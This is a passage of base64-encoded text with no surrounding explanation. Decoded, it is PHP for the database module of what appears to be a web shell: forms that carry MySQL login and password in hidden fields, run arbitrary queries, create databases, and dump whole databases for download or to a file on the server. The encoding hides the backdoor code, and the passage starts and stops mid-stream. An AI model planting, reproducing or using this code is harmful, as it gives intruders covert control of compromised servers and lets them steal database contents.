oJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iO30KICAgfQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQogICB7CiAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwCiAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9CiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7CiAgICB9CiAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIH0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcCIpCiAgIHsKICAgIGlmIChlbXB0eSgkc3VibWl0KSkKICAgIHsKICAgICAkZGlwbGF5ID0gRkFMU0U7CiAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPGI+REI6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOwogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwogICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fQogICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9CiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7CiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsKICAgICBlY2hvICI8L2Zvcm0+IjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAkZGlwbGF5ID0gVFJVRTsKICAgICAkc2V0ID0gYXJyYXkoKTsKICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7CiAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7CiAgICAgJGR1bXBfb3V0ID0gImRvd25sb2FkIjsKICAgICAkc2V0WyJwcmludCJdID0gMDsKICAgICAkc2V0WyJubDJiciJdID0gMDsKICAgICAkc2V0WyIiXSA9IDA7CiAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsKICAgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsKICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKTsKICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOwogICAgIGlmICgkc3FsX2R1bXBfZG93bmxvYWQpCiAgICAgewogICAgICBAb2JfY2xlYW4oKTsKICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7CiAgICAgIGVjaG8gJHJldDsKICAgICAgZXhpdDsKICAgICB9CiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkKICAgICB7CiAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7CiAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30KICAgICAgZWxzZQogICAgICB7CiAgICAgICBmd3JpdGUoJGZwLCRyZXQpOwogICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogICAgICB9CiAgICAgfQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7fQogICAgfQogICB9CiAgIGlmICgkZGlwbGF5KQogICB7CiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkKICAgIHsKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30KICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgICAgaWYgKCRzcWxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc3FsX3RibF9sZSA9IDMwO30KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7CiAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQogICAgICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICAgICBpZiAoY291bnQoJGUpID09IDIpCiAgICAgewogICAgICBpZiAoJGVbMF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30KICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQogICAgICAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7CiAgICAgfQogICAgIGVsc2UgeyR2ID0gIiI7fQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJHYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9hY3Q9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bJm5ic3A7PGI+RHVtcDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgICB7CiAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQogICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpCiAgICAgIHsKCiAgICAgIH0KICAgICAgZWxzZQogICAgICB7CiAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7CiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkKICAgICAgIHsKICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOwogICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7CiAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICB9CiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9CiAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKQogICAgICAgewogICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwogICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwogICAgICAgICRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOwogICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOwogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOyBlY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30KICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsKICAgICAgfQogICAgIH0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQogICAgIHsKICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOwogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7CiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwiIHdpZHRoPVwiMTBcIiBhbHQ9XCJQYWdlc1wiPiZuYnNwOyI7CiAgICAgICRiID0gMDsKICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspCiAgICAgIHsKICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQogICAgICAgZWNobyAkaTsKICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8L3U+PC9hPiI7fQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30KICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQogICAgICB9CiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J